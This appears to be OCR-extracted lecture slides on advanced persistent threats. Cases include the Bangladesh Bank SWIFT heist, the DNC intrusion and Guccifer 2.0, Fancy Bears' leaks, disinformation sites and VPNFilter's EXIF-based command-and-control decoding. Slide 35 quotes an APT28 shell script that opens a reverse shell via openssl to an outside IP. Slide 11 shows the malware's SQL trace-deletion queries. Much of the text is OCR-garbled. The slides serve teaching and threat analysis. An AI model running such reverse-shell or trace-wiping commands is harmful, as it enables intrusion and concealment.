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Where are
all the ‘A’'s in APT?

APT = Advanced Persistent Threat

http://web.archive.org/web/20190625183042/https://www.virusbulletin.com/blog/2018/09/where-are-all-apt/


http://web.archive.org/web/20190625183042/https://www.virusbulletin.com/blog/2018/09/where-are-all-apt/
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Bangladesh Bank Cyber Heist

ca. USD $1 billion

SWIFT
35 messages

I- 30 messages I-
ca. USD $850 million

SWIFT: To: “RCBC Jupiter St,
Makati, Manila, Philippines..”

Bangladesh Bank

5 messages Sanctioned:

B
To: Shalika Fundation
A

Deutsche Bank

I- Gerrpany
I
Y Y
£ O £ O
TT 11 » .
Shalika Foundation [FEF 5 ( ?naaisgciglnr?;lhon J
Pan Asia Bank RCBC

Sri Lanka Philippines 7

Icons made by Becris from www.flaticon.com



The role of malware



Malware intercepting SWIFT messages

-

Print \

messages

SWIFT

Alliance Access

|

Message
database
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Bangladesh Bank

Malware intentions
o Avoid printing
messages/confirmations
o Avoid traces in the message
database
o Tamper with amounts

Configuration file with details
o Trigger date: 20160205
o Command and control server
o Reference number range
00901/0000058500

00901/0000058655
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Icons made by Becris, Thoselcons, and PixelPerfect from www.flaticon.com



Bangladesh Bank Cyber Heist -- Timing

Thursday Friday Saturday Sunday Monday Tuesday
February 4 5 6 7 8 9
at EOB: WEEKEND WEEKEND Printer resumed
B e SWIFT instructions
anglades issued by the Printer stopped Printer stopped Try to freeze
Bank attacker transactions
morning: Contact WEEKEND WEEKEND Freeze
SWIFT instructions | Bangladesh transactions
NY Fed received Bank forwarded
WEEKEND WEEKEND Chinese New Withdrawals of
Year USS 58 million
RCBC in total
Philippines
PP despite the

freeze request

—
o




Delete traces from the SWIFT database

00901/0000058500
00901/0000058501
e SWIFT Alliance Access 00901/0000058655
o Oracle SQL database
o Patch to circumvent SELECT MESG S UMID
authentication FROM SAAOWNER.MESG_%s

WHERE MESG_SENDER_SWIFT_ADDRESS LIKE '%%%s%%"

e Deletion procedure AND MESG_TRN_REF LIKE '%%%s%%';

o Find relevant entries affecting

the fraudulent transfers
0 Delete these entries DELETE FROM SAAOWNER.MESG_%S
WHERE MESG_S UMID = '%s';

DELETE FROM SAAOWNER.TEXT %s
WHERE TEXT_S_UMID = '%s';

11
Source: Malware sample SHA256 4659dadbf5b07c8c3c36ae941f71b631737631bc3fded2fe2af250ceba98959a



Initial infection vector

e Spear phishing
o Theme: job application I am Rasel Ahlam.

o Link to resume likely triggered

, . | am extremely excited about the idea of becoming a part of
the infection

your company and am hoping that you will give me an
opportunity to present my case in further detail in a personal

e Long before the attack interview.

o Initial attempts between Here is my resume and cover letter. Resume and cover letter

October 2014 and <http://www.[DOMAIN REDACTED].com

February 2015 /CFDOCS/Allaire_Support/rasel/Resume.zip>
o Possibly time needed to prepare

money laundering Thank you in advance for your time and consideration.

12
Source: http://web.archive.org/web/20190323103114/https://www.justice.gov/opa/press-release/file/1092091/download


http://web.archive.org/web/20190323103114/https://www.justice.gov/opa/press-release/file/1092091/download

Attribution

e Code overlap
o  Secure file deletion routine also found in malware targeting Sony Pictures Entertainment
o Fake TLS for C2 communications
m TLS cipher suites even contained in malware samples which did not make use of it
m also found in early WannaCry variant (February 2017)

e Spear phishing
o Same accounts as those used when spear phishing Sony Pictures Entertainment
o Common email accounts used across multiple infections with multiple targets
o  Occasionally accessed from North Korean IP addresses (DPRK)

e US Department of Justice: Criminal Complaint 8 June 2018
o One North Korean individual identified and related to attacks against Bangladesh Bank,

Sony Pictures Entertainment and further targets

13
Source: http://web.archive.org/web/20190323103114/https://www.justice.gov/opa/press-release/file/1092091/download


http://web.archive.org/web/20190323103114/https://www.justice.gov/opa/press-release/file/1092091/download

14 June 2016



National Security

Russian government hackers penetrated DNC,
stole opposition research on Trump

14 June 2016

The Post's Ellen Nakashima goes over the events, and discusses the two hacker groups responsible.
(Jhaan Elker/The Washington Post) 5

Source - http://web.archive.org/web/20171116015523/https://www.washingtonpost.com/world/national-security/russian-government-hackers-penetrated-dnc-stole-opposition-research-on-trump/2016/06/14/cf006cb4-316e-11e6-8ff7-7b6c1998b7a0_story.html


http://web.archive.org/web/20171116015523/https://www.washingtonpost.com/world/national-security/russian-government-hackers-penetrated-dnc-stole-opposition-research-on-trump/2016/06/14/cf006cb4-316e-11e6-8ff7-7b6c1998b7a0_story.html

Nationa Securty

Russian government hackers penetrated DNC,
stole opposition research on Trump

08 Nov 2016
Election

14 Jun 2016
Public: DNC Hack

2016 2017

28 Apr 2016

DNC: Incident Response

N

CROWDSTRIKE 16

Images: CC BY-SA 4.0 Furfur BU Rob13 Gage, CrowdStrike Inc. & Washington Post



How to attribute
two different
actors?



e COZY BEAR (APT29)
o Characteristic uniquely attributed malware (SeaDaddy implant)
o US targets in the past: White House, State Department, WH
Chief of Staff
o  Further targets in the energy, politics, education and research
sectors

e FANCY BEAR (APT28)
o Characteristic uniquely attributed malware
o Targets in the military, diplomatic and political sectors
o German Parliament in April/May 2015

18

Source: http://web.archive.org/web/20160827152324/https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/


http://web.archive.org/web/20160827152324/https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/
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CROWDSTRIKE Nov 2016
Presidential Election
28 Apr 2016

CrowdStrike IR

18 Apr 2016
FANCY BEAR
initial access

27 Jul 2015
COZY BEAR
initial access

14 Jun 2016
DNC Hack published

2016
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Source: http://web.archive.org/web/20180622111433/https://www.wired.com/story/dnc-lawsuit-reveals-key-details-2016-hack/



HOME

GUCCIFER 2.0

WRITTEN BY GUCCIFER2

JUNE 15, 2016

I AM ON TWITTER

My Tweets

GUCCIFER 2.0 DNC’S SERVERS
HACKED BY A LONE HACKER

Worldwide known cyber security company CrowdStrike announced that the Democratic National
Committee (DNC) servers had been hacked by “sophisticated” hacker groups.

I'm very pleased the company appreciated my skills so highly))) Butin fact, it was easy, very easy.
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TWEETS FOLLOWING FOLLOWERS

- 38 514

Tweets Tweets & replies Media

GUCCIFER 2.0

@GUCCIFER_2

GUCCIFER 2.0 @GUCCIFER_2 - 7h

Dossier on Hillary Clinton from DNC server.
June 21 at 10 a.m. Expect it #Guccifer2
guccifer2.wordpress.com/2016/06/20/dos

& guccifer2.wordpress.com
Joined June 2016

Friends and Alles Talkisg Posss

Hillary for Amenca
Bouse Fallon Hallary for Amaeraca Natsosal Press Secrecary y

Fromde and Allpes
Agaed 26, 2013
Schmewrer sppemamces on Susdsy shows

&) Photos and videos

= ————

(il B

- e O E e e G W G o W —
T — e ——— e — -

21



Guccifer2.0’s text Correct Romanian version

Vorbiti limba romana? Vorbiti limba romana?
(Unusual form. Most people would simply
say: “Vorbiti romdneste?”)

V-am spus deja. incercati sa-mi verifica? V-am spus deja. incercati sa ma verificati?

Oare nu stiti ce este filigran? Oare nu stiti ce este un filigran?
(note: “filigran” is a rare word in Romanian.
Most people would just use “watermark” as
in English)

Am mult de facut Am multe de facut

Source: Costin Raiu, Kaspersky, Area 41 2018



Translate

English Russian Italian English - detected ~ = English Russian Romanian ~ m

x

it is my watermark este filigranul meu

Source: Costin Raiu, Kaspersky, Area 41 2018



FANCY BEARS'

Hack Team

#0p0lympics

About us
201L-09-13

. Greetings @ citizens of the world- \Allow wus to
introducelourselves.. We are Fancy Bears' ‘international
hack team. We stand for fair play and clean sport.

We announce the start of #0p0lympics- lle /are going
to tell 'you how Olympic /medals _are won- '/We hacke
World Anti-Doping Agency databases and we/were shocked
with what we saw-

. We will stant with the U-S4 team which has disgraced
its_name by tainted victories- lWe will also disclose
exclusive Winformation about other national Olympic
teams laters. Wait for sensational roof of famous
athletes taking doping substances any /time soon-:

We are Anonymous-
We are Legion-
We do not forgive-
We do not forget-.
Expect us-.

Anonymous - #0pOlympics

U.S. and Canada Sports O0fficials' Secret Plot Revealed 24

Source: fancybear.net, 2016-09-13


https://urlscan.io/result/20d1d64e-1786-4d00-b705-ccd61f8f5071/

EVENTS INVESTIGATIONS INTERVIEW PROFILES CONTACTUS

UEHTP PACCNEAOBAHUA
BACUNNA NPO3OPOBA

—— Special service @——

MH-17: IN SEARCH OF TRUTH

The documentary by Vasily Prozorov is about the MH-17 crash. The investigation of the former officer of the Security Service of
Ukraine (SBU) reveals new and unknown details of the tragedy. The film is based on original documents from the Ukrainian
special services and exclusive interviews with eyewitnesses.

e 40-minute
“documentary” on the
downing of MH17

e Allegedly by an SBU
defector

e Deny Russian
involvement

e Accuse Ukrainian
forces

e Oppose findings of the
Joint Investigation
Team

25
Source: https://urlscan.io/result/85a28bd6-25a2-4c12-a5b4-e5a7b0e4cfb2


https://urlscan.io/result/85a28bd6-25a2-4c12-a5b4-e5a7b0e4cfb2

MAIN NEWS GEORGIA & NATO RELATIONS v COOPERATION v

Main

Georgia is one of NATO's closest partners. Allied Heads of State and Government
agreed that Georgia will become a member of NATO at the Bucharest Summit in April
2008. This decision was reconfirmed at successive NATO Summits. Georgia’s
relationship with the Alliance contains all the practical tools to prepare for eventual
membership.

The NATO-Georgia Commission (NGC) serves as a forum for political consultations
and oversees the practical cooperation between Georgia and NATO. In July 2018, NATO
Heads of State and Government and the President of Georgia adopted a Declaration to
mark the NGC'’s tenth anniversary.

About Us

CONTACT US

or follow on.
000

l Categories

Georgia-EU (2)
Georgia-NATO (24)
Georgia-Ukraine (3)
Georgia-US (4)
Military Activities (8)
Opinion (15)

Ukraine-NATO (1)

Tags

2008 AFGHANISTAN ARMY EU
GAKHARIA GARIBASHVILI GEORGIA
IRAQ JOIN MEETING MILITARY
MISSION MUNICH NATO REFORMS

RUSSIA SAAKASHVILI STANDARDS

CTAITENRED ~ANDE IIZD ATNE 110

Georgia is a NATO partner
(PfP)

Might become NATO
member

It's complicated
georgia-nato[.]Jorg
registered 2019-12-17
Feb 2020: hosted on
185.159.131[.]4, likely
routed via ASN 64439
(ITOS-AS) in RU

RU whois registrant
Some content (en) from
official NATO document
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Source: https://urlscan.io/result/74921960-df8d-46ac-9422-a3d81f9e108c/


https://urlscan.io/result/74921960-df8d-46ac-9422-a3d81f9e108c/

23 May 2018



VPNFilter: an loT botnet

e |oT botnet affecting routers and NAS devices

o Publicly disclosed by Cisco Talos on 2018-05-23
o 500,000+ infected devices (30,000 in Germany)
o 54+ countries

o Persistence

e Functionality
o Collection of HTTP basic auth credentials
o  Monitoring of Modbus SCADA protocol traffic
o Sabotage

e Purpose and attribution hints
o Create infrastructure that is difficult to attribute
o Particular targeting focus and C2 infrastructure focus on Ukraine
o Code overlap with BlackEnergy samples (RC4 ) o8

Source: http://web.archive.org/web/20190207012605/https://blog.talosintelligence.com/2018/05/VPNFilter.html


http://web.archive.org/web/20190207012605/https://blog.talosintelligence.com/2018/05/VPNFilter.html

VPNFilter Command and Control (C2)

e 3kinds of command and control
o Retrieve photos from image hoster (photobucket[ . ]Jcom) and decode next-stage C2
information from the photo’'s EXIF metadata
o  Retrieve image from hardcoded fallback C2 domain (toknowall[ . ]com)
o Listening for C2 commands

e (C2rendezvous via JPEG image metadata
o Two varying images
m depending on current time
m UTC:evenhour:a oddhour:b
o 128x128 pixels, less than 4 KB file size
o JPEG images, GPS location information stored in
EXIF metadata
o Decode the GPS location information into an
IPv4 address (next-stage C2 server)

29



VPNFilter Command and Control (C2)

i

whatwomenwant

SHA256 a8f8411e546923e56d100bc44ab59a96e37dd2d83065d296fc6902b59a631853

GPS Latitude
GPS Longitude

1193143 deg 55' 21.00"

: 4296160226 deg 47' 54.00"

SHA256 df95d7fde9789575f409dd8416763582b37151fae7929bb06alc3c19964ccf89

GPS Latitude
GPS Longitude

: 1193149 deg 49' 15.00"
: 1193060 deg 33' 42.00"

30



VPNFilter EXIF metadata C2 decoding

GPS Latitude : 1193143 deg 55' 21.00"
GPS Longitude : 4296160226 deg 47' 54.00"

ExifByteOrder = II
+ [IFDO directory with 1 entries]
| @) GPSInfo (SubDirectory) -->

- Tag 0x8825 (4 bytes, int32u[1]):

0030: la 00 00 00 [....]

+ [GPS directory with 2 entries]
| @) GPSLatitude = 97 30 4294967121 (97/1 30/1 4294967121/1)
| - Tag 0x0002 (24 bytes, rational64u[3]):
| 0056: 61 0O 00 00 01 00 PO 0O le OO 0O 0O 01 0O 00 0O I I ]
| 0066: 51 ff ff ff 01 00 00 00 [Q....... ]
| 1) GPSLongitude = 4294967178 140 4294967274 (4294967178/1 140/1 4294967274/1)
| - Tag 0x0004 (24 bytes, rational64u[3]):
| Po6e: 8a ff ff ff 01 00 00 00 8c 00 00 00 01 00 00 00 [ceeiiiiiiinns. ]
|

|
I
I
|
I
I
|
I
|
I
| e07e: ea ff ff ff 01 00 00 00 [eevnnnn. ]

31



VPNFilter EXIF metadata C2 decoding

GPS Latitude : 1193143 deg 55' 21.00"
Oxffffff51 = 4294967121" => /3600 = 1193046.4225 °
—  Oxle = 30' => 30' + 0.4225*%60' = 55" 21"
—  Ox61 = 97 ° => 97° + 1193046° = 1193143 deg

61 00 00 00 01 00 00 00 [le 00 00 00 01 00 00 00
51 ff ff ff 01 00 00 00

32



VPNFilter EXIF metadata C2 decoding

GPS Latitude : 1193143 deg 55' 21.00"
GPS Longitude : 4296160226 deg 47' 54.00"
00 = v0 + ( vl + Ox5a ) & oxff -> 217
0ol = v2 + ( vl + Ox5a ) & oOxff -> 12
02 =Vv3 + ( v4 + Oxb4d ) & oxff -> 202
03 = + ( v4 + Oxb4 ) & Oxff -> 40

=> 217.12.202.40

61 00 00 00 01 00 00 00 [le 00 00 00 01 00 00 00 |
51 ff ff ff 01 00 00 00

8a ff ff ff 01 00 00 00 8c 00 0O 0O O1 0O 0O 00

33



loT targeting: Challenges for defenders

e Reliable debugging
o Debugging interfaces neither documented nor accessible
o No endpoint detection and response

e Various CPU/system architectures

o  MIPS, ARM, occasionally x86
o Rarely seen architectures: Lexra, Tile
o Lack of tooling

e Forensic imaging
o Imaging procedures not widely known and possibly untested
o Heterogeneous devices

e No impact on regular functionality
o Infection of a device is difficult to notice 34



Targeting loT devices

August 2019: loT device infection by FANCY BEAR/Sofacy/APT28
o  Microsoft Security Response Center: “popular 10T devices (a VOIP phone, an office printer,

and a video decoder) [...] to gain initial access to corporate networks”
o Default passwords (2 devices), unpatched firmware (1 device)

o Lateral movement, persistence via shell script

(“#1/bin/sh N
export [IOT Device] ="-gqws -display :1 -nomouse"
echo 1|tee /tmp/.c;sh -c '(until (sh -c "openssl s client -quiet -host
167.114.153.55 -port 443 |while : ; do sh && break; done| openssl s client -quiet
-host 167.114.153.55 -port 443"); do (sleep 10 && cn=$(( cat /tmp/.c +1)) && echo
$cn|tee /tmp.c && if [ $cn -ge 30 ]; then (rm /tmp/.c;pkill -f 'openssl');
Ui);done)&' & j

35

Source: https://msrc-blog.microsoft.com/2019/08/05/corporate-iot-a-path-to-intrusion/


https://msrc-blog.microsoft.com/2019/08/05/corporate-iot-a-path-to-intrusion/

Outlook
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Thank you. Questions?

Prof. Dr. Christian Dietrich
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|
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Icons made by Freepik from www.flaticon.com unless otherwise stated

internet-sicherheit.
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